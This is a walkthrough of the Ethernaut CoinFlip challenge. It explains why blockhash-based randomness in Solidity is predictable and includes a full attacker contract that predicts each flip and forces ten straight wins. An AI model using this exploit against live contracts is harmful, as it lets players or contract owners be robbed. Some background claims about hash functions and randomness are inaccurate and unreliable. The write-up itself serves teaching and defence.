Ethernaut(Lvl 3): CoinFlip Rogue

Predicting Randomness in a vulnerable contract

Randomness in Solidity

Ethereum's Approach to Generating "Randomness"

The Ethereum blockchain does not rely on true randomness but instead utilizes random generators deemed acceptable for its purposes. Developers employ pseudo-randomness techniques within Ethereum by hashing unique or tamper-resistant variables, such as transaction timestamps, sender addresses, and block heights. Two primary cryptographic hashing functions utilized are SHA-3 and the newer KECCAK256, which hash a concatenated string of these input variables. The resulting hash is then converted into a large integer and modulo operation is performed by n to obtain a discrete set of probability integers within the desired range of 0 to n. In our Ethernaut exercise, for instance, n=2 signifies the two sides of a coin flip. This method of deriving pseudo-randomness in smart contracts, while common, exposes vulnerabilities as adversaries who possess knowledge of the input variables can potentially predict the "random" outcome, undermining the integrity of the system.

The Challenge

The challenge is a coin flipping game(smart contract) where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you are expected to guess the correct outcome 10 times in a row.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

To proceed, let's craft a contract with the aim of verifying the outcome of a coin flip and activating the flip(bool _guess) function of the genuine contract solely when the outcome is correctly anticipated.

  1. Using the Remix IDE, construct a deceitful contract resembling CoinFlip.sol:

  2. Formulate a guessValue() function that anticipates the flip outcome by applying the same rationale and input variables as the original contract. By leveraging knowledge of blockhash and block.number, you can accurately foresee the correct _guess.

This function must exclusively trigger originalContract.flip() with the precise guess.

  1. Execute your guessValue() function ten times. As a result, the consecutiveWins counter of the original contract should progressively escalate, indicating that only correct guesses have been made.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Interface for interacting with the CoinFlip contract
interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

// Contract for hacking the CoinFlip contract
contract CoinFlipHacker {

    // Constant representing a large integer used for calculating the coin flip outcome
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    // Instance of the ICoinFlip interface to interact with the CoinFlip contract
    ICoinFlip CoinFlip;

    // Constructor to initialize the contract with the address of the CoinFlip contract
    constructor(address _coinFlip) {
        CoinFlip = ICoinFlip(_coinFlip);
    }

    // Function to guess the outcome of the coin flip and interact with the CoinFlip contract
    function guessValue() public returns(bool) {
        // Retrieve the block hash of the previous block
        uint256 blockValue = uint256(blockhash(block.number - 1));
        // Calculate a pseudo-random integer coinFlip
        uint256 coinFlip = blockValue / FACTOR;
        // Determine the side of the coin flip based on the calculated coinFlip
        bool side = coinFlip == 1 ? true : false;
        // Call the flip function of the CoinFlip contract with the guessed side
        bool returnVal = CoinFlip.flip(side);
        // Return the success or failure of the coin flip
        return returnVal;
    }
}

Developer TidBits

True randomness does not exist, so exercise caution when incorporating "randomness" into your contract or leveraging existing random numbers libraries. When utilizing randomness to select contest winners, remain mindful that adversaries possess the capability to predict the random outcome effortlessly, potentially compromising the integrity of your game. Consider utilizing oracles as they offer the most reliable method for achieving randomness in smart contracts.